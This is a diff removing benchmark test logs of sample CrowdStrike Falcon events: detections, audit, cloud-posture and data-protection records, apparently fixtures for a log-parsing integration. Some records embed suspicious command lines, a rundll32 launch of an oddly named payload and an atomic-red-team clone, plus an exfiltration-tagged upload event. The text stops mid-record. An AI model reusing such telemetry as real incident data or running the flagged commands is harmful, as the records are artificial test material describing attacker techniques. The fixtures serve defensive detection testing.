-{"metadata":{"customerIDString":"abcabcabc22222","offset":8695332,"eventType":"DetectionSummaryEvent","eventCreationTime":1698932615000,"version":"1.0"},"event":{"ProcessStartTime":1698932614,"ProcessEndTime":1698932614,"ProcessId":54665651,"ParentProcessId":540396081,"ComputerName":"INNOIDL0032","UserName":"vishnu.sharma","DetectName":"AttackerMethodology","DetectDescription":"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.","Severity":4,"SeverityName":"High","FileName":"rundll32.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32","CommandLine":"\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh","SHA256String":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","MD5String":"a52bfa4a96f97c368312028dbd7c8461","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"AP","FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a","SensorId":"69027ffffffffffffaaf50","IOCType":"hash_sha256","IOCValue":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","DetectId":"ldt:690ddddddd0721205","LocalIP":"81.2.69.144","MACAddress":"02-50-41-00-00-01","Tactic":"DefenseEvasion","Technique":"Rundll32","Objective":"KeepAccess","PatternDispositionDescription":"Prevention,processwasblockedfromexecution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe","HostGroups":"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812","Tags":"SensorGroupingTags/USB_Storage_Exception","AssociatedFile":"\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe","PatternId":10186}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8698239,"eventType":"IncidentSummaryEvent","eventCreationTime":1698971797000,"version":"1.0"},"event":{"IncidentStartTime":1698971797,"IncidentEndTime":1698971797,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj","State":"open","FineScore":6.1,"LateralMovement":0,"IncidentType":1,"IncidentID":"inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e","HostID":"4345454534534545"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log
deleted file mode 100644
index 608b0a16d2..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log
+++ /dev/null
@@ -1,13 +0,0 @@
-{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1045,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1582830734000,"version":"1.0"},"event":{"SessionId":"6020260b-0398-4d41-999d-5531b55522de","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","StartTimestamp":1582830734}}
-{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1046,"eventType":"RemoteResponseSessionEndEvent","eventCreationTime":1582830772000,"version":"1.0"},"event":{"SessionId":"6020260b-0398-4d41-999d-5531b55522de","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","EndTimestamp":1582830772}}
-{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":0,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581542950710,"version":"1.0"},"event":{"UserId":"api-client-id:1234567890abcdefghijklmnopqrstuvwxyz","UserIp":"10.10.0.8","OperationName":"streamStarted","ServiceName":"Crowdstrike Streaming API","Success":true,"UTCTimestamp":1581542950,"AuditKeyValues":[{"Key":"APIClientID","ValueString":"1234567890abcdefghijklmnopqr"},{"Key":"partition","ValueString":"0"},{"Key":"offset","ValueString":"-1"},{"Key":"appId","ValueString":"siem-connector-v2.0.0"},{"Key":"eventType","ValueString":"[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]"}]}}
-{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581543577147,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581543577147}}
-{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":2,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581545677554,"version":"1.0"},"event":{"UserId":"bob@company.com","UserIp":"192.168.6.3","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581545677554}}
-{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":3,"eventType":"UserActivityAuditEvent","eventCreationTime":1581546248000,"version":"1.0"},"event":{"UserId":"chris@company.com","UserIp":"192.168.6.13","OperationName":"update_group","ServiceName":"groups","AuditKeyValues":[{"Key":"group_id","ValueString":"3c80ce30b9654cb4bd15beec6a517e65"},{"Key":"action_name","ValueString":"add_group_member"}],"UTCTimestamp":1581546248}}
-{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":4,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601312140,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"requestResetPassword","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601312140,"AuditKeyValues":[{"Key":"target_name","ValueString":"alice@company.com"}]}}
-{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":5,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601341730,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601341730}}
-{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":6,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601520236,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"changePassword","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601520236,"AuditKeyValues":[{"Key":"target_name","ValueString":"first.last@company.com"}]}}
-{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":7,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601572362,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"userAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601572362}}
-{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":8,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601814754,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601814754}}
-{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":9,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601820289,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"selfAcceptEula","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601820289}}
-{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":10,"eventType":"UserActivityAuditEvent","eventCreationTime":1581603262000,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"detection_update","ServiceName":"detections","AuditKeyValues":[{"Key":"detection_id","ValueString":"ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745"},{"Key":"new_state","ValueString":"in_progress"},{"Key":"assigned_to","ValueString":"First Last"},{"Key":"assigned_to_uid","ValueString":"first.last@company.com"}],"UTCTimestamp":1581603262}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log
deleted file mode 100644
index c9e64ad5be..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log
+++ /dev/null
@@ -1,2 +0,0 @@
-{"metadata":{"customerIDString":"123123abcd","offset":6,"eventType":"AuthActivityAuditEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"UserId":"API:USERID","UserIp":"175.16.199.1","OperationName":"streamStopped","ServiceName":"Crowdstrike Streaming API","Success":true,"UTCTimestamp":1686839378,"AuditKeyValues":[{"Key":"eventType","ValueString":"All event type(s)"},{"Key":"APIClientID","ValueString":"APIID"},{"Key":"partition","ValueString":"0"},{"Key":"offset","ValueString":"2"},{"Key":"appId","ValueString":"APPIDTEST"}],"Attributes":{"APIClientID":"APPCLIENTIDTEST","appId":"APPIDTEST","eventType":"All event type(s)","offset":"2","partition":"0"}}}
-{"metadata":{"customerIDString":"123123abcd","offset":8,"eventType":"AuthActivityAuditEvent","eventCreationTime":1686849556137,"version":"1.0"},"event":{"UserId":"API:USERID","UserIp":"175.16.199.1","OperationName":"streamStarted","ServiceName":"Crowdstrike Streaming API","Success":true,"UTCTimestamp":1686849556,"AuditKeyValues":[{"Key":"APIClientID","ValueString":"APICLIENTID"},{"Key":"partition","ValueString":"0"},{"Key":"offset","ValueString":"8"},{"Key":"appId","ValueString":"APPIDTEST"},{"Key":"eventType","ValueString":"All event type(s)"}],"Attributes":{"APIClientID":"APICLIENTID","appId":"APPIDTEST","eventType":"All event type(s)","offset":"8","partition":"0"}}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log
deleted file mode 100644
index 71efbee9aa..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log
+++ /dev/null
@@ -1 +0,0 @@
-{"metadata":{"customerIDString":"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX","offset":54712858,"eventType":"CSPMIOAStreamingEvent","eventCreationTime":1663011160000,"version":"1.0"},"event":{"AccountId":"XXXXXXXXXXXX","PolicyId":249,"PolicyStatement":"EC2 instance manually deleted by IAM user","CloudProvider":"aws","CloudService":"EC2","Severity":1,"SeverityName":"High","EventAction":"TerminateInstances","EventSource":"aws.cloudtrail","EventCreatedTimestamp":1663011160,"UserId":"AIDAXRCSSEFWEAH3BLR2Z","UserName":"cs_internal_service_acct","UserSourceIp":"81.2.69.144","Tactic":"Impact","Technique":"Data Destruction"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log
deleted file mode 100644
index 723fc4c067..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log
+++ /dev/null
@@ -1 +0,0 @@
-{"metadata":{"customerIDString":"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX","offset":54712611,"eventType":"CSPMSearchStreamingEvent","eventCreationTime":1663009688832,"version":"1.0"},"event":{"AccountId":"XXXXXXXXXXXX","Region":"us-west-2","ResourceId":"i-0108fce80eXXXXXXX","ResourceIdType":"Instance Id","ResourceName":"","ResourceCreateTime":0,"PolicyStatement":"EC2 NACL configured for global ingress","PolicyId":26,"Severity":1,"SeverityName":"High","CloudPlatform":"AWS","CloudService":"EC2","Disposition":"Failed","ResourceUrl":"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX","Finding":"Instance ID:i-0108fce80e5ab5129|VPC ID:vpc-0e886040c27d9f526|Network ACL ID:acl-005e6bb98e75ac17e|Rule Number:100|CIDR Block:0.0.0.0/0|Protocol:All","ResourceAttributes":"{\"ACL ID\":\"acl - 005e6 bb98e75ac17e\",\"VPC ID\":\"vpc - 0e886040 c27d9f526\",\"Platform\":\"Linux\",\"Instance ID\":\"i - 0108 fce80eXXXXXXX\",\"Launch Time\":\"2022 - 09 - 12 17:11:06 + 00\",\"Instance State\":\"running\"}","Tags":[{"Key":"cstag-business","ValueString":"Sales"}, {"Key":"cstag-accounting","ValueString":"dev"}, {"Key":"cstag-department","ValueString":"Sales - 310000"}, {"Key":"Slackbot Env UUID","ValueString":"C68EC25E-32BD-11ED-AE4B-0EBCA3237C75"}, {"Key":"Name","ValueString":"CS-SE-Demo-KALI-ROBERT.WILSON"}, {"Key":"Slack_User","ValueString":"bob.smith"}, {"Key":"cstag-owner","ValueString":"jane.doe"}],"ReportUrl":"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2","Timestamp":1663009688832}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log
deleted file mode 100644
index 7471623ccb..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log
+++ /dev/null
@@ -1,2 +0,0 @@
-{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressSessionId":"abc","SessionStartTimestamp":1761915027,"SessionEndTimestamp":1761915027,"UserMapped":true,"FilesEgressedCount":12}}
-{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressEventId":"180d01b9b65811f0a9f0c0892b3c995e","Policy":{"ID":"a6e6792845654b69a8a89e793421b77a","Name":"Data Protection Policy"},"MatchedClassification":{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"},"RelatedClassifications":[{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"}],"UserNotified":true,"ResponseAction":"blocked","RuleId":"7d81198e7da846b2a664afccc7f5d9e4","IsClipboard":false,"ContentPatterns":[{"ID":"4392b1416c974a488c31fbc4c97e89f6","Name":"Credentials","ConfidenceLevel":3,"MatchCount":1}],"ContentSha":"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08","Filename":"sensitive_123.txt","FileType":{"Type":{"ID":"48a7eca83afa42a78cf12b8f2f877eec","Name":"Plain Text","Description":"Plain Text (txt) File","CategoryID":"4689d0386bdd4e2e9423a0fc19dcaccb","CategoryName":"Document"}},"EventTimestamp":1761915027}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log
deleted file mode 100644
index 312136faa4..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log
+++ /dev/null
@@ -1 +0,0 @@
-{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"DetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1686845212400,"ProcessEndTime":0,"ProcessId":123123,"ParentProcessId":321321,"ComputerName":"ELASTICHOST","UserName":"ELASTICUSER","DetectName":"NGAV","DetectDescription":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":2,"SeverityName":"Low","FileName":"TESTFILE.exe","FilePath":"\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE","CommandLine":"\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding","SHA256String":"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2","MD5String":"49f30e09200e7b59edc5ef32fbd0442c","SHA1String":"7e54a24d4df5b7fe4a75d7ce1c027705c368666b","MachineDomain":"INTERNAL","NetworkAccesses":[{"AccessType":0,"AccessTimestamp":1686845157,"Protocol":"TCP","LocalAddress":"10.0.0.1","LocalPort":53517,"RemoteAddress":"67.43.156.1","RemotePort":443,"ConnectionDirection":0,"IsIPV6":false},{"AccessType":0,"AccessTimestamp":1686845158,"Protocol":"TCP","LocalAddress":"10.0.0.2","LocalPort":53518,"RemoteAddress":"67.43.156.1","RemotePort":80,"ConnectionDirection":0,"IsIPV6":false}],"FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID","SensorId":"sensorid123","IOCType":"hash_sha256","IOCValue":"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2","DetectId":"detect::id::test","LocalIP":"89.160.20.112","MACAddress":"1c-2d-b3-4a-56-7e","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been blocked if related prevention policy setting was enabled.","PatternDispositionValue":2304,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"","ParentCommandLine":"","GrandparentImageFileName":"","GrandparentCommandLine":"","HostGroups":"hostgroupsID","AssociatedFile":"\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe","PatternId":5728}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log
deleted file mode 100644
index b9deb927b5..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log
+++ /dev/null
@@ -1,15 +0,0 @@
-{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1718032715,"ProcessEndTime":1718032715,"ProcessId":43009301133,"ParentProcessId":25841449898,"Hostname":"DESKTOP1111","UserName":"USER11111","Name":"NGAV","Description":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":30,"SeverityName":"Low","FileName":"rfusclient.exe","FilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","CommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession","SHA256String":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","MD5String":"848a53dc549be0386e5da0f49700c389","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"OVAC","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","IOCType":"hash_sha256","IOCValue":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"81.2.69.144","MACAddress":"01-23-45-67-89-ab","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"rutserv.exe","ParentCommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"","GrandParentImageFileName":"services.exe","GrandParentCommandLine":"C:\\Windows\\system32\\services.exe","HostGroups":"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd","AssociatedFile":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","PatternId":5728,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe","LocalIPv6":""}}
-{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon 